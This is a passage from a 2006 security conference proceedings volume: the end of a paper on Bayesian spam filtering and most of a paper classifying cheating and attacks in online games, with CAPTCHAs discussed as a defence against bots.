combination of the issue name and actual month. (i.e. JamesInstallation-June@account@domain). When the month is over, its PPW expires and the related PPW to actual month will be activated. A one day delay may be considered when both PPWs are valid.

5. Conclusions An Overall performance of filtering 98.7% spam and 0.5% of false positives with a minimum deviation of 0.05 (95% confidence level) was estimated for the suggested statistical approach. We concluded that distribution of spam and non-spam tokens has a direct effect on the performance of the statistical approach and using personal messages for training the Bayesian filter significantly increases the

S. Shakeri and P. Rosso / Spam Detection and Email Classiﬁcation

167

performance of the system for individuals. Training on error, does not make a significant improvement after the third iteration of this statistical approach. Further investigation is necessary to configure this filter for multilingual messages. Implementing the suggested SMTP modification is relatively easy and transparent to the senders. When emails arrive they are classified into expected/ not expected groups with a minimum cost for the receiver. Auto-Expire PPWs can assure that the email address cannot be stored and abused.

6. Acknowledgments This work was made possible thanks to the R2D2 (CICYTTIC2003-07158-C04-03) and ICT EU-India (ALA/95/23/2003/077-054) research projects.

7. References [0] S. Shakeri, P. Rosso. The BSP Spam Filter. In: Proc. Confr. Information Communication Technologies Int. Symposium, Tetuan, Morocco, 2005 [1] Avatar, Digital Silence, 2004 < http://www.d-silence.com/feature.php?id=257 > [2] Federal Trade Commission of US: False Claims in Spam, 2003 < http://www.ftc.gov/reports/spam/030429spamreport.pdf > [3] Wikipedia: Online Encyclopedia- the word Spam < http://en.wikipedia.org/wiki/SPAM > [4] Brad Tempelton: The origin of the tem Spam, 2003 < http://www.templetons.com/brad/spam/ [5] Messagelab Inc.: Average global ratio of spam in email July 2005 < http://www.messagelabs.com/publishedcontent/publish/threat_watch_dotcom_en/threat_statistics/spam _intercepts/DA_114633. chp.html > [6] Spamhaus: The ROKSO database, October 2005 < http://www.spamhaus.org/rokso/index.lasso > [7] RFC2821 Simple Mail Transfer Protocol Specification < http://www.rfc.net/rfc2821.html > [8] Duda, Richard O, Wiley, E. Hart and G. Stork, Pattern Classification, 2nd Edition 2001, U.S.A [9] Alan Agresti, Categorical Data Analysis, 2002, U.S.A [10] Spamassasin: Spam corpus < http://spamassassin.apache.org/publiccorpus > [11] RFC524 Simple Mail Transfer Protocol initial standards < http://www.rfc-archive.org/getrfc.php?rfc=524 > [12] Apache organization: James Mail Server < http://james.apache.org/ > Note: All links have been viewed last on October 2005.

168

Information Assurance and Computer Security J.P. Thomas and M. Essaaidi (Eds.) IOS Press, 2006 © 2006 IOS Press. All rights reserved.

Problems of Security in Online Games Youssef LYHYAOUI a, Souad ALAOUI b, Abdelouahid LYHYAOUI b and Stéphane NATKIN a a Conservatoire National Des Arts et Metiers (CNAM), Paris , France, Email: [email protected]) b National School of Applied Sciences, Tangier, Morocco, Email : [email protected]

Abstract. Online games have recently become a very successful industry. Cheating in online games is an aspect of computer games that has so far received scant attention from researchers on game studies; cheats do not only change the experience of the cheater, but the experience of the other players as well. At this point, cheating turns into an "illegal" activity, presumably procuring the cheater great pleasure because it is prohibited; this may explain why the number of thefts, cheats, vandalisms, threats and illegal gambling cases from online gaming has increased. This paper presents an analysis of the attacks in online games; we define a classification of the attacks in online game and identify the attacker’s objectives, as well as the attacks tools and mechanisms, we also present the complexity of security problems in online games through the example of the chess online game. The scope of this study is to understand these attacks not only as a problem of security in online game but also as the basis of threats against future cooperative computer systems. Keywords. Online Gaming, Attacks, Cheats, Threats, P2P, CAPTCHA.

Introduction IN solo games, to win or lose does not have a serious effect on players and more generally on the real world. However the development of a new generation of games which have a direct impact on the real worlds radically alters the scene [25]. For example, online gaming and in particular massively multiplayer online role-playing games, (MMORPG) are a form of computer entertainment played over the Internet. According to [1], the revenue of online gaming was 5000 $Millions in 2004, and is in constant growth. It is the most popular application on the Internet, and the number of players of online games is estimated to 114 millions [12], [22]. The virtual society that imitates the real world may provide interactions, markets, stores, hotels, restaurants, transportation, virtual money, weapons and so on. However, these virtual properties in the virtual society may have a very high value in the real world. Some games like Lineage [3] (3 million players in South Korea [6]), offer a potential of revenue for items gathered within the game. A search on e-bay [4] for Lineage Online revealed 357 items for sale with a starting bid ranging from US$ 5 to US$ 700. If the illegal actions could be used to build powerful characters or perhaps produce special items, the player may actually earn real life money on cheating in a virtual world.

Y. Lyhyaoui et al. / Problems of Security in Online Games

169

This example shows how cheating in games will have an increasing impact on the society; Moreover, game hackers are particularly inventive and clever. Goals of games attack are much more sophisticated than classical hacking over the Internet: In games, cheaters try to alter subtle rules of the games, time behavior, right on virtual objects. As a consequence we think that the analysis of online games cheating is a way to foresee the attacks on general online cooperative systems like distributed universities, cooperative work systems, online voting… This study should be helpful in order to protect system such as e-democracy, e-commerce, e-learning… The present paper is organized as follows: In section 2, we give a summary of previous work background and research paper findings on the same fields. In section 3, we present our classification of the attacks in online games; in section 4 we explain how are cheats created, and present some example of cheats in the section 5. In section 6 we present the complexity of specifying security rules of online chess game, in section 7 we present the analogies of the Peer-to-Peer systems and online games. Section 8 is dedicated to system detections, and we finish by a conclusion.

1. Background & Previous works 1.1. Background One of the biggest problems the gaming industry suffers from is the player cheating. Online games are losing new players because the cheaters are taking advantage of them. Most of the multiplayer games on the market use client/server architecture which is more secure in terms of cheat, but peer-to-peer architectures are becoming another good choice because no server and maintenance are required by the game company. The only difficulty is again on the cheat [7]. An attack is a breach that occurs whenever the attackers succeed in doing something they are not normally allowed to do. A difficult problem in online game is to characterize the operations which are allowed and those which are forbidden. There are at least three levels of rules which can be violated [21]. 1- Cheating against the provider: the relation between the player as a customer and the game provider. This is generally defined by an implicit or explicit contract. 2- Cheating against the other player: the game rules which must be followed to ensure the fairness of the game. Generally these rules are not well defined. 3- Cheating against the virtual society: the moral rules which allow the virtual social community of the game to be rather stable. These rules may vary from one group of users to another. 1.2. Previous works In September 2003, a game developers Blizzard [2] chose to cancel 400.000 accounts at their Battle.net gaming portal [5]. These accounts had been associated with “a hack or a cheat program” and the players involved were seen as harmful to the status of Battle.net as a “fun and safe place”. This means that the nature of cheat is not well understood. One of the main reasons is the lack of published observations, as on line games providers don’t publicize their vulnerabilities. Based on existing data, several classifications of the attacks in online

170

Y. Lyhyaoui et al. / Problems of Security in Online Games

games have been presented: [11] discuses security requirements impact to design the online games by using online Bridge [22], and present a classification of intrusions. [19] proposes a taxonomy of distributed denial-of-service attacks and a taxonomy of the defense mechanisms that strive to counter these attacks. [16, 24] both present a taxonomy of common forms of cheating in online games; [15] proposes a protocol that has provable anti-cheating guarantees and an initial set of solutions. Most of these works take a rather pragmatic “gaming” point of view [5]. We will deal with the issue from a different perspective and carry out our analysis from more general and formal security approach.

2. Classification 2.1. Why do people cheat? A player who plays online multiplayer computer games fall under one of four different characters: the socializer (who plays games because he enjoys the company of others) the killer (who plays because he enjoys harassing and destroying other players) the achiever (who plays to be the best, to win) and the explorer (who likes to explore the games, finding hidden secrets and flaws in the game). For this way, a game attacker may have numerous motivations: To be the best: to become a famous hacker. Economic incentives: to deny the provider service (sabotage against the provider). To play without paying, (free). To steal the resources of the provider. To destroy the fun for others: to steal the resources of other players. It is fun: to cheat to win game quests. To cheat to acquire virtual resources, which can be eventually sold in the real world? … This list is not exhaustive and can not be the basis of a rigorous classification. From an objective point of view, the goal of the attack can be considered as sabotage (Denial of service), to steal or to cheat to win in the game. But this is a very rough classification [8]. 2.2. Rules which can be violated All classical security definitions rely on the definition of rights and a security policy [26]. An attack is an attempt to perform unauthorized actions according to the security policy. A difficult problem in online game is to characterize the operations which are allowed and those that are forbidden. We consider three levels of rules which can be violated. Cheating against the provider. The relation between the player as a customer and the game provider is generally defined by an explicit contract. For example in World of Warcraft the player is not allowed to sell virtual objects [2]. Cheating against the other players. This is an attempt to violate the game rules which must be followed to ensure the fairness of the game. These rules are not always precisely defined.

Y. Lyhyaoui et al. / Problems of Security in Online Games

171

Cheating against the virtual society. Persistent worlds are regulated by moral rules which allow the virtual social community of the game to be rather stable. These rules may vary from one group of users to another. For example, a member of the Golden Guild (a cooperative group of players) in the game Dark Age of Camelot is subject to the following rules: he must obey to the hierarchy orders, he must always help other members of the guild, and he must chat with other members of the guild. At the boundary of this category there are “unfair” behaviors. An attack of a novice by an expert player is generally considered as an unfair attitude. An attack may combine several actions, each one can be considered as a violation of one of the previous class of rules. The system of rights is not simply related to the goal of the attacker. For example an attacker may modify the software of the game, an action which is forbidden according to the provider contract, to win against other players [17]. At a lower level, the mechanisms used in an attack rely on the violation of basic security properties: confidentiality of data, integrity of data, integrity of the sequencing or the timing of events, integrity of the code, authentication of users, authentication of software objects (SO), authentication of computers. At least these violations can be performed on the server side, on the client side or through the network [20]. Distributed games are much more prone to cheating, and cheats are possible within a client-server or a peer-to-peer architecture of the game [15].

3. How are cheats created? One needs to understand a bit on how cheats are created. An online multiplayer game can be designed in two basic ways, called client-server and peer-to-peer. The clientside architecture means that each player has a client that communicates with the server, i.e. the client takes the input from the player and sends it to the server. The server has control over all information in the game and sends back the information relevant to the client based on the player’s actions. At any given time the client, the player’s computer, only have access to a limited amount of information from the game. This means that the server runs the game and chooses what to tell the client. Client-server based games needs to be played on a server. Most MMORPGs are clientserver based. Peer-to-peer (P2P) operates without an independent server, and the information from the players computers are not relayed via servers. Instead each player’s computer has access to all pertinent information at any given time, and information is sent directly from computer to computer. Peer-to-peer based games are extremely hard to protect against cheats. Since each player has access to all information, even to all the data about the other players, he can change it on his computer at will, albeit some effort and skill is required to create hacks, and the other computers in the game will simply receive that information and act on it. So then, how are cheats actually programmed? We present in the following section a list of examples that each illustrates a different method of cheat.

172

Y. Lyhyaoui et al. / Problems of Security in Online Games

4. Examples of cheats In this section we present some examples of attacks which are out of classical hacks on the Internet (flooding servers, cracking passwords…). They show the complexity of the online game security problems .They are classified according to our typology. Unauthorized use of AI: Numerous MMOGs (Massively Multi-player Online Games) contract stipulate that a player is not allowed to play without being physically present at the client side. In other words, he must not delegate his role to an autonomous agent or any kind of programmed automata. This rule is used to protect servers from overload: if all the players who have a subscription are always connected, even if they are not physically using the client computer, a MMORPG which has 3 millions customers will run out of business. Attack attaches again this rule is sabotage against the provider contract. It can be rather easily implemented and is very difficult to detect. Even if it is detected, it is practically impossible to prove as a faulty behavior. Selling hacked software objects: Some games (like the Sims) allow players to create and to distribute their own objects. It can be passive objects, like 3D furniture but it can be also active objects implemented, for example, as Java applets. The interaction of such objects with the virtual world is supposed to be constrained, as they must not disturb the game-play. [28] reports that a sexy hacked coffee machine was distributed over the Sims community. When this machine was installed in a Sims house, it had two particular perverse effects. First the coffee became free in the whole Sim’s town. Then all the feeling of jealousy disappears from the Sims behavior leading to a post hippie sexual behavior. We have not been able to verify this funny hack, but its implementation is quite realistic [27], and this kind of attack concerns the new generation of online games where the players are allowed to create active objects. The goal of this attack is clearly to sabotage against the provider rules. The implementation is probably based on unauthorized calls to software objects methods, altering the integrity of the flow of messages. It is the implementation of a Trojan horse in highly opened and dynamic environment, which is very difficult to prevent. Stealing Virtual Assets: Many virtual characters and items acquired in the virtual world of online games can be traded in the real world. The virtual values and items (examples: weapons, magic portion …), can produce true financial businesses. The goal of the attacker is to steal assets belonging to the provider and does not need any particular implantation. The detection of the attack is quite simple (look on eBay). The most interesting extension of this feedback between cheating in the virtual world and the real world is given in [25]: the analysis of the economy of star wars online shows that some cheaters are producing forged virtual currencies (Selling hacked virtual objects). As these currencies can be sold on eBay, the forged currencies can be transformed on real dollars. Cheating by access to hidden data on the client side: A cheater may modify the graphics software (for example the driver) installed in the client side, to make walls transparent. He can see through the wall and locate other players who are supposed to be hidden behind the wall [14], which gives him a great advantage in the game play. The ultimate goal of this attack is to win in the game quests. This violates the provider contracts (the game must be used through the standard client software). It relies on the violation of the code integrity on the client side. As long as the integrity of the client software is not periodically checked (using, for example a digital signature), this attack can not be detected as the cheater behaves like a clever player. Cheating using design flaws: Some online cheats exploit bugs or design flaws found in game software to get an unfair advantage. For example the cheater may activate some debugging mechanisms, which are left by the programmers, to alter

Y. Lyhyaoui et al. / Problems of Security in Online Games

173

dynamically hidden variables. This form of cheating can generate endless amounts of resources for a human player [11]. This example falls in the same category than as the previous one and is also undetectable. Client Hook: This cheat allows the player to load up a “client-loader” or an “injector” when the game is started, and injects lines of code directly into the RAM, which allows the game data sent to and from the server to be manipulated directly in the memory, bypassing the game itself. This hack does not change the permanent game files, but rather the copies of game files done in the RAM necessary to run the game Cheating by Deny of Player Services: A cheater player gains advantages by denying other players service. A cheater can delay the responses from one opponent in a real-time game by flooding his network connection [19]. This technique can be used for several purposes. First, it allows getting dangerous opponents out of the game. Other players or the game manager will believe that there is something wrong with the network connection of the victim, and will agree to kick him out. A more subtle use of this attack is just to slowdown the response time of the opponent, which gives great advantages to the cheater. This kind of attack is clearly against the other players. It may be sometime a violation of the provider contract, but this is not clear, for the flooding computer and software has nothing to do with the game software. In many countries, it is a violation of laws on electronic operations (deny of service flaw). It relies on an alteration of the sequencing and timing of messages performed through the network. Cheating by Collusion: This kind of cheats uses a well known techniques using the fact that the players can not see each other and are anonymous. It occurs in games where players are expected not to know what other players know. Players collude to gain unfair advantages. An example of this category of cheat is in online poker [23], if three players participate in a game in the same table, two of them could cheat the third player by exchanging information. Alternatively as single person can play as several players, members of opponents groups, using several profiles and computers. This attack again the games rules, relies on the absence of authentication of the users and the lack of control of covert channels (confidentiality of data). Playing Against the moral rules of the virtual society: Some techniques may run against the moral of the game without being technically unfair. The example is known as camping. Camping stands for the practice of a player staying in one area of the game world waiting for enemies or useful objects to appear or to come to the player rather than him actively seeking them out [18]. Players camp in order to gain an advantage over their opponents [13]. Camping is not technically unfair since the option is equally available to the opponent, but it can affect the game interest. It is an attack against the game implicit rules, it does not rely on technical mechanisms and is very difficult to prevent.

5.

The complexity of specifying security rules for online games: the example of chess games

In this section, we will illustrate the potentially high complexity of specifying security rules for an online game as compared to similar specifications for physical games [29, 30]. By security rules, we mean, in a first informal approximation, what is allowed, and

174

Y. Lyhyaoui et al. / Problems of Security in Online Games

what is forbidden in the game, but also what hypotheses that must be assumed during the specification. As a starting point we take a very ancient game, where rules are well-known and relatively easy to specify, and where it is quite difficult to cheat in a physical situation [32]. We will show how when translating this game into a distributed context, how the hypothesis to be taken into account must be enforced, either more complex verification mechanisms to ensure them must be specified [31]. What is alarming, sometimes, is that straightforward rules allowing determining the issue of the game cannot be completely specified beforehand. We briefly describe four different modalities of chess game: local classical (space and time unicity) game, distant game by telephone, a human player against a distant computer, and finally, two distant human adversaries playing through a distant server. 5.1. Local (classical) chess game This game is played in a common space with two human players and a referee, the rule of the referee is to control the game play and signal the cheat. In this category of chess game, the rules mostly specify what players are: Authorized to do while moving pieces within the current state of the board (board constraints). Supposed to play within a maximum delay of time on each turn (time constraints). The forbidden actions are considered by default: any action going against these explicit rules can be considered, depending on the case, as cheating, or as declaring “forfeit”. One could add and implicit rules of fair-play, that is, not doing anything that can disturb the visual or audio perception of the game for the other player: sadly, this rule is quite difficult to specify, at least in a complete manner. There is one implicit hypothesis of the game specification: the referee does not cheat. An important security property of the game, due to locality, is that the indeterminacy of time for a player, or placement for a piece, are not relevant with respect to the dynamic of the game. As a consequence, this specification relies on some very important properties: The time of playing for each player and the movements made by each player are completely observable by the referee. That is, both concepts are explicitly specifiable. Every actor (the referee and both players) has a coherent vision of the board state. Thanks to locality, this property is ensured by default. One can easily see that in this first situation it is quite difficult for a player to cheat. 5.2. Phone chess game In this version of the game, we suppose that both players are placed in distant places, each one with his own board, and with movements communicated by phone. A first problem arises when trying to determine the role of the referee. Having only one referee seems as useless as having none, as for one of the players it would be impossible to determine the limits of his movement phase, neither to ensure the coherence between both distant boards. Thus, the specification must be refined with a new referee: each one of them accompanying a player. As before, each referee is supposed not to cheat.

Y. Lyhyaoui et al. / Problems of Security in Online Games

175

Even if the game rules do not fundamentally change, the specification must be refined in order to define new concepts arising in the game, namely: • The communication protocol between referees in order to ensure respect of time constraints and coherence on both boards. • Authentification protocol in phone calls to forbid third players to take the role of one of the couple referee-player. • A completely new event: an accidental communication interruption can arise, and rules must be defined accordingly. In this variant of the game, a new form of cheat arises, coming from the non unicity of the observability of referees: an intruder can take the place of a second couple of referee-player. Besides that, it is important to notice that neither the identification of the time playing phases, nor the coherence of the two different boards are really compromised by this version. Thus, even if the game gets distributed, a good coherence can be maintained in the time and boards of players. As a conclusion, cheating remains difficult in this framework, as the price of an important but not insurmountable refinement of the specification. 5.3. A human player against a distant computer In this case, the human player plays against a computer program from a remote place, the computer game plays the rule of the referee, the chess game is a board interface program and the movements are communicated by area. In this framework one cannot any more determine the outcome for the following reasons: The time playing phases of players: the time to play a game is separated by phase; the complexity here is to know the beginning and the end of each phase, and if the player has already do a movement or not. As in the previous case, a unique referee cannot observe both players, and then authentification cheating can arise. As a consequence, the straightforward rule of forfeit, related to the absence of a time movement at the end of playing phase cannot be precisely specified. Actually, this sort of specification belongs to a very difficult class of problem, here the concept of time and space lose their value: We can’t specify exactly the time of the game play: the player can just pretend that there are problem of area, to give himself more time to analyze the complicated position. The communication system can’t distinguish between a possible breakdown or lower performance independent of goodwill of the player, and a cheating by causing breakdowns, or pretending not have received information. The player can send a failure data position to know the reaction of the computer and get an unfair advantage. As a conclusion, it is too easy to cheat in this category, and the cheat can’t be proved by a referee; the explicit action which was specified perfectly becomes very difficult to specified, even with the presence of the referee. 5.4. Three distant actors: computer and two human players In this class of chess game, we suppose that two players are connected to the server of chess game via Internet, they both have only one computer, the server plays the rule of the referee as previously; his role is to control the game between the opponents, and

176

Y. Lyhyaoui et al. / Problems of Security in Online Games

signal any forbidden actions (actions against the rules of the game like the movement of the bishop in the board and so on). However, there are actions that can’t be detected by the server, or even if there are detected; the server can’t decide if it’s the cheat. In the Internet, there are several clubs of chess game, the players connect to the server through a login and password, and use an interface of the game. We present some security failures that can arise: •

The players simply refuse to move (absence of a time control) when he is losing. Or, if they feel that they are losing, they disconnect from the Internet to avoid a loss (some players disconnect on purpose for 5 to 10 minutes during a difficult game to give themselves more time to analyze the complicated position). • On every Internet chess server, there are players who cheat by using computer software or a strong player to help them find the best moves. The problem is how to prove it. • A player can also send the failure data to his opponent, and bring him to the error; he then wins the party more easily. From what precedes, it is clear that it is quite difficult to come out with security rules specifications for games. There is absence of the notion of space and time is absent as in the chess game, there are actions which are impossible to specify. In this section, we have presented a simple example of online games by describing a different type of communications; we began by the rules which are completely specifiable and those that are difficult and not completely specifiable; these types of problems are of various nature: authentification, tolerance of pain, notion of time and space distribution.

6. Online Games and the analogies of Peer-to-Peer systems Historically, MMOs have used client/server architecture. This architecture has the advantage that a single authority orders events, resolves actions as a central repository for data, and is easy to secure. On the other hand, it has the disadvantage of increased latency, localized congestion at the server, limited storage capacity, and limited computational power by the server. The peer-to-peer (P2P) architecture for MMOs has the potential to overcome these problems. Players can send messages directly to each other, thereby reducing delay and eliminating localized congestion [33]. P2P architecture have seen generally an enormous success, and recently the introduced P2P services reached tens of millions of users. A feature that significantly contributes to the success of many P2P applications is user anonymity. However, anonymity opens the door to possible misuses and abuses, exploiting the P2P network as a way to spread tampered with resources, including Trojan Horses, viruses, and spam. Thereafter, we present some security problems of this architecture in other application [34, 35]. P2P applications of file exchange: we propose P2P applications for file exchange as P2P systems. Several worries have been raised about the use of P2P file sharing applications. A typical concern is performance-related: the huge audio and video files that users typically share could clog the global Internet as well as corporate networks. These issues can be kept under control with relative ease by traffic-shaping techniques

Y. Lyhyaoui et al. / Problems of Security in Online Games

177

that enforce bandwidth constraints on P2P traffic. A greater and more difficult problem of P2P file sharing applications is that they introduce a new class of security threats, as they can be exploited to distribute malicious software, such as viruses and Trojan horses, even bypassing the protections of fire-walled networks. This risk is not only present when a user downloads executable content. Indeed, also audio and video files may harbour security threats, as the multimedia formats permit the introduction of links and active content that may be exploited to introduce malicious software into a computer. Also, there are many applications of P2P technologies where the network is used to distribute executable content. We can introduce this category of security problems in the selling hacked software objects or cheating by access to hidden data on the client side addressed in section 5. These P2P security challenges cannot be fully met by means of traditional techniques. For instance, prohibitions on the use of P2P applications, by organization policy or blocking ports used by file sharing P2P programs, may not be effective. As a matter of fact, users often show a particular interest in P2P applications, and may use them anyway configuring their programs for the use of unblocked port. A technical solution that permits users to responsibly choose the level of risk of their actions appears to be more appropriate as it has greater chance to be supported by users and allows exploiting the benefits of P2P technologies. Self reproduction: The simplest version of this attack is based on the fact that in current P2P systems there is virtually no way to verify the source or content of a message. Most P2P systems manage their own namespace, allowing users to have temporary identities on the system, regardless of their IP address. Such identities are usually not persistent and, in principle, could change at every interaction. Of course, every peer has an IP address, and perhaps even a DNS name associated with it; but IPBased identification is hardly feasible when the binding between a peer and its IP address is made via dynamic Network Address Translation. We can find this type of security problems in the vote systems for example. Man in the middle: this kind of attacks takes advantage of the fact that, due to application-level routing of P2P networks, a malicious peer can lie in the path between two “honest” peers. The basic version of the attack works as follows. Assume that A is a peer searching for a file, B is a peer that has the file A is looking for, and D is malicious peer. A broadcast a Query message and B responds. Malicious peer D intercepts the QueryHit message from B and modifies the IP and port fields to contain D’s IP address and port. The modified QueryHit message is then sent back to A. A decides to download the file from D which provides a fake resource (possibly even a hostile version of the original one provided by B). We note that most P2P applications are targets of enamours attacks, using the failure of this architecture, all these examples of attacks can be used in the online games easily and the opposite is correct. In the next section, we present the CAPTCHA, the programs protection against the attacks that can be generated by the attacker and by the automatic’s programs attacks.

178

Y. Lyhyaoui et al. / Problems of Security in Online Games

7. CAPTCHA The aim is to study the problem of restricting participation in online games to human players, so they can enjoy the game without interference from automated playing agents known as bots. The purpose is to keep bots out of online games. This consists of seamlessly integrating software-based tests to tell humans and computers apart into online games, known as CAPTCHAs [40, 41, 42]. 7.1. What is a CAPTCHA? CAPTCHA is an acronym for "Completely Automated Public Turing test to tell computers and Humans Apart" is a type of challenge-response test used in computing to determine whether or not the user is human [37]. It’s a program that can generate and grade tests that most humans can pass or current computer programs can't pass [38]. 7.2. Why is it useful? Bots (software agents) have been developed to automatically perform illegitimate transactions over the Web, including overloading online opinion polls, performing dictionary attacks to find names and passwords as well as grabbing thousands of free email accounts for sending spam messages. CAPTCHAs are designed to prevent bots (programs that pose as humans on the Internet) from abusing internet services. Bots, driven not to dominate but to sell, sign up for thousands of free email accounts every minute, sending millions of spam messages from them. They infiltrate chat rooms, collecting personal information and posting links to promotional sites. They generate worms, break password systems, invade privacy, and drain resources. CAPTCHAs are based on reading text (or other visual-perception tasks) and they prevent visually-impaired users from accessing the protected resource. However, CAPTCHAs do not have to be visual. Any hard AI problem, such as speech recognition, can be used as the basis of a captcha. Some implementations of CAPTCHAs permit users to opt for an audio Captcha. The development of audio CAPTCHAs appears to have lagged behind that of visual CAPTCHAs, however, and presently may not be as effective. 7.3. CAPTCHA Applications CAPTCHAS are used to prevent bots from using various types of computing services. Applications include preventing bots from taking part in online polls, registering for free email accounts (which may then be used to send spam), and, more recently, preventing bot-generated spam by requiring that the (unrecognized) sender pass a Captcha test before the email message is delivered. CAPTCHA tests have several applications for practical security [38], including (but not limited to) for example: Free Email Services: Several companies (Yahoo, Microsoft, etc.) offer free email services. Most of these suffer from a specific type of attack: "bots" that sign up for thousands of email accounts every minute. This situation can be improved by requiring

Y. Lyhyaoui et al. / Problems of Security in Online Games

179

users to prove they are human before they can get a free email account. Yahoo, for instance, uses a CAPTCHA test to prevent bots from registering for accounts. Search Engine Bots: It is sometimes desirable to keep WebPages unindexed to prevent others from finding them easily. There is an html tag to prevent search engine bots from reading web pages. The tag, however, doesn't guarantee that bots won't read a web page; it only serves to say "no bots, please". Search engine bots, since they usually belong to large companies, respect web pages that don't want to allow them in. However, in order to truly guarantee that bots won't enter a web site, CAPTCHA tests are needed. Worms and Spam: CAPTCHA tests also offer a plausible solution against email worms and spam: "I will only accept an email if I know there is a human behind the other computer." A few companies are already marketing this idea. Preventing Dictionary Attacks: Pinkas, [39], has also suggested using CAPTCHA tests to prevent dictionary attacks in password systems. The idea is simple: prevent a computer from being able to iterate through the entire space of passwords. 7.4. Examples of CAPTCHA GIMPY is one of the many CAPTCHAs based on the difficulty of reading distorted text. GIMPY is based on the human ability to read extremely distorted and corrupted text, and the inability of current computer programs to do the same. GIMPY works by choosing a certain number of words from a dictionary, and then displaying them corrupted and distorted in an image; after that GIMPY asks the user to type the words displayed in that image. While human users have no problem typing the words displayed, current bots are simply unable to do the same. . Another example of a CAPTCHA is BONGO. It is a program that asks the user to solve a visual pattern recognition problem. In particular, BONGO displays two series of blocks, the left and the right series. The blocks in the left series differ from those in the right, and the user must find the characteristic that sets the two series apart. After seeing the two series of blocks, the user is presented with four single blocks and is asked to determine whether each block belongs to the right series or to the left. The user passes the test if he or she correctly determines the side to which all the four blocks belong. PIX is a program that has a large database of labelled images. All of these images are pictures of concrete objects (a horse, a table, a house, a flower, etc). The program picks an object at random, finds 4 random images of that object from its database, distorts them at random, presents them to the user and then asks the question "what are these pictures of?" Current computer programs are not able to answer this question. Sounds can be thought of as a sound version of GIMPY. The program picks a word or a sequence of numbers at random, renders the word or the numbers into a sound clip and distorts the clip. It then presents the distorted sound clip to its user and asks the user to type in the contents of the sound clip. To defend e-commerce systems from bots, an increasing number of companies are arming themselves with CAPTCHAs. For example, users registering on Yahoo must first correctly recognize a distorted word displayed against a cluttered background and type it into a box to prove they are human. Such reading-based CAPTCHAs exploit the large gap between humans and machines in their ability to read images of text.

180

Y. Lyhyaoui et al. / Problems of Security in Online Games

Multiplayer computer games have become an increasingly important economic, social, and cultural phenomenon: nowadays millions of players routinely gather online to play their game of choice. Online game genres are extremely diverse: First-Person Shooters (FPS), MMORPGs, and online card games (e.g. poker) are among the most popular. The problem of distinguishing human players from bots in online games may not at first sound very difficult. After all, there is a clear gap between the abilities of humans and computers (e.g. bots can not carry coherent sustained conversations with humans). Preventing bots from playing online games: as multiplayer online gaming gains in economic and social importance, an increasingly large number of players is beginning to rely on bots (automated player agents) to gain unfair advantages in games. So it seems reasonable to study the problem of restricting participation in online games to human players in order to enjoy the game without interference from the bots. Philippe, [36], proposes two broad approaches to prevent bots from playing online games. The first consists of seamlessly integrating software-based tests (known as reverse Turing tests or CAPTCHA tests) into online games to tell humans and computers apart. The second contribution is to propose hardware instantiations of CAPTCHA tests. These techniques are applicable in a wide variety of online games, from poker to “shoot-emups”. They are cost-effective, immune to cheating, and preserve the human players’ enjoyment of each game.

8. Conclusion Online games are confronted to a great number of attacks, according to the complexity of the rules in an open virtual world; in the preceding pages, we have presented a classification of attacks in online games; several attacks have been presented in order to cut through the obscurity and raise the awareness as to the potential online games security problems. The specifying of this problems is not easy, it‘s more and more difficult and complicated. The taxonomy described is intended to help to understand threats and think about new kinds of detection and protection mechanism. Our next research step is to build a formal security policy model, which takes into account the three categories of rights and rules presented here.

References [1] [2] [3] [4] [5] [6] [7] [8]

DataMonitor, www.datamonitor.com. Blizzard Support, World of Warcraft, http://www.blizzard.com, https://signup.worldofwarcraft.com/agreement.html, http://ww.worldofwarcraft.com/policy/ NCsoft, Lineage homepage, http://www.lineage.com. E-bay, www.ebay.com Battel, http://www.battel.net Wired, http://www.wired.com/wired/ archive/10.08/korea_pr.html Stéphane Natkin, “Les protocoles de sécurité d'internet”, Paris, Dunod Ed 288 pages - 2002 Yan, J. J. & Choi, H. J, “Security Issues in Online Games”, The Electronic Library, Vol. 20, No.2, 2002. Previous version appears in Proc. of International Conference on Application and Development of Computer Games, City University of Hong Kong, Nov. 2001.

Y. Lyhyaoui et al. / Problems of Security in Online Games [9] [10] [11] [12] [13]

[14] [15] [16] [17]

[18] [19]

[20] [21] [22]

[23]

[24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36] [37] [38] [39]

181

Matt Pritchard, How to Hurt the Hackers: The Scoop on the Internet Cheating and How You Can Combat It, Available: http://www.gamasutra.com/ features/20000724/Pritchard_01.htm, July 2000. Manuel Oliveira Tristan Henderson, “What Online Gamers Really Think of the Internet?”, University College London, Department of Computer Science. Yan, J. J. & Choi, H. J, “Security Design in Online Games”, in Proc. of the 19th Annual Computer Security Applications Conference, IEEE Computer Society, December, 2003. Ming Yang Lin, “Uncheatable GamesUsing Zero-Knowledge System” Department of Software Engineering Part IV Project Report 2003. Jonas Heide Smith, “Playing dirty – understanding conflicts in multiplayer games”, Paper presented at the 5th annual conference of The Association of Internet Researchers, The University of Sussex, 1922nd September 2004. Christopher Choo, “Understanding Cheating in Counterstrike”, Nov. 2001. Available at http://www.fragnetics.com/ articles/cscheat/print.html. N Baughman and B Levine. “Cheat-proof Playout for Centralized and Distributed Online Games”, in Proc. of the Twentieth IEEE INFOCOM Conference, Apr. 2001. Yan, J. J. & Choi, H. J, “A Systematic Classification of Cheating in Online Games”, Department of Computer Science and Engineering, the Chinese University of Hong Kong, Shatin, N.T., Hong Kong. Ying-Chieh Chen, Patrick S. Chen, Ronggong Song, Larry Korba; “Online Gaming Crime and Security Issue–Cases and Countermeasures from Taiwan”. published in the Proceedings of the 2nd Annual Conference on Privacy, Security Trust. Fredericton, New Brunswick, Canada. October 13-15, 2004. C Morningstar and FR Farmer, “The Lessons of Lucasfilm’s Habitat”, in Cyberspace: First Steps, M Benedikt (ed.), MIT Press, Cambridge, 1990. Jelena Mirkovic, Janice Martin and Peter Reiher, “A Taxonomy of DDoS Attacks and DDoS Defense Mechanisms”, Computer Science Department, University of California, Los Angeles Technical report #020018. SB Davis, “Why Cheating Matters: Cheating, Game Security, and the Future of Globa On-line Gaming Business”, in Proc. of Game Developer Conference 2001, 2001. Kuo, A. “A (very) brief history of cheating”, from : http://shl.stanford.edu/ Game_archive/StudentPapers/BySubject/A-/C/Cheating/Kuo_Andy.pdf, 2001. Lindqvist and E Jonsson, “How to Systematically Classify Computer Security Intrusions”, in Proceedings of the 1997 IEEE Symposium on Security & Privacy, Oakland, California, May 1997. 154163 pages. Jeff Yan and Brian Randell, “Security in Computer Games: from Pong to Online Poker”, School of Computing Science, University of Newcastle upon Tyne, Technical Report Series, CS-TR-889, February 2005. 